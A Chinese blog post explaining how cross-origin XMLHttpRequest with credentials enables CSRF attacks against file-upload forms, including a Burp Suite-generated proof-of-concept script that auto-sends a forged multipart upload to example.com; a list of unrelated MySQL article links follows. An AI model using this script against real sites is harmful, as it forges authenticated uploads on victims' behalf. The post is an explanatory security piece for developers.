博客
关于我
利用csrf漏洞上传文件
阅读量:157 次
发布时间:2019-02-28

本文共 1941 字,大约阅读时间需要 6 分钟。

HTML5带来了许多有趣的新特性,其中一个是跨域资源共享(CORS)。在之前的版本中,由于同源策略的限制,黑客无法通过JavaScript直接访问其他域的资源。然而,随着XSS等安全问题的普遍存在,同源策略确实为网络安全带来了诸多好处。然而,CORS在这里似乎成为了一把双刃剑。

在文件上传过程中,传统的CSRF防护机制并不足以阻止恶意请求,因为文件上传通常会自动添加filename参数,这使得普通的表单提交难以模拟真实的文件上传请求。但是,随着HTML5的普及,这种情况正在发生变化。

CORS允许浏览器在不受同源策略限制的情况下,进行跨域请求。这意味着即使用户访问了恶意页面,攻击者也无需用户交互,完全可以通过JavaScript发送带有filename参数的跨域请求,从而实施CSRF攻击。

下面的Burp Suite生成的证明代码(PoC)展示了这一点:

function submitRequest() {    var xhr = new XMLHttpRequest();    xhr.open("POST", "https://example.com/new_file.html", true);    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");    xhr.withCredentials = "true";    var body = "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"message\"\r\n"        + "\r\n"        + "\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"backPage\"\r\n"        + "\r\n"        + "test\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"dataType\"\r\n"        + "\r\n"        + "test  \r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n"        + "Content-Type: text/plain\r\n"        + "\r\n"        + "test3\r\n"        + "-----------------------------256672629917035--\r\n";    var aBody = new Uint8Array(body.length);    for (var i = 0; i < aBody.length; i++)        aBody[i] = body.charCodeAt(i);    xhr.send(new Blob([aBody]));}

这个代码通过创建一个 XMLHttpRequest 对象,打开一个跨域的POST请求,并模拟了一个带有filename参数的文件上传请求。攻击者只需在受害者访问恶意页面时,自动触发这个请求,就能完成CSRF攻击。

虽然HTML5的CORS带来了便利,但也为网络安全带来了新的挑战。开发者需要意识到这一点,采取适当的防护措施,防止被恶意利用。

转载地址:http://yjgc.baihongyu.com/

你可能感兴趣的文章
MySQL 添加列,修改列,删除列
查看>>
mysql 添加索引
查看>>
MySQL 添加索引,删除索引及其用法
查看>>
mysql 状态检查,备份,修复
查看>>
MySQL 用 limit 为什么会影响性能?
查看>>
MySQL 用 limit 为什么会影响性能?有什么优化方案?
查看>>
MySQL 用户权限管理:授权、撤销、密码更新和用户删除(图文解析)
查看>>
mysql 用户管理和权限设置
查看>>
MySQL 的 varchar 水真的太深了!
查看>>
mysql 的GROUP_CONCAT函数的使用(group_by 如何显示分组之前的数据)
查看>>
MySQL 的instr函数
查看>>
MySQL 的mysql_secure_installation安全脚本执行过程介绍
查看>>
MySQL 的Rename Table语句
查看>>
MySQL 的全局锁、表锁和行锁
查看>>
mysql 的存储引擎介绍
查看>>
MySQL 的存储引擎有哪些?为什么常用InnoDB?
查看>>
Mysql 知识回顾总结-索引
查看>>
Mysql 笔记
查看>>
MySQL 精选 60 道面试题(含答案)
查看>>
mysql 索引
查看>>